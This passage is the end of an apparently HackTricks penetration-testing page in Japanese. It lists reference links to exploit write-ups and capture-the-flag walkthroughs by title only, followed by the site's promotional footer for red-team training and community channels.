- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


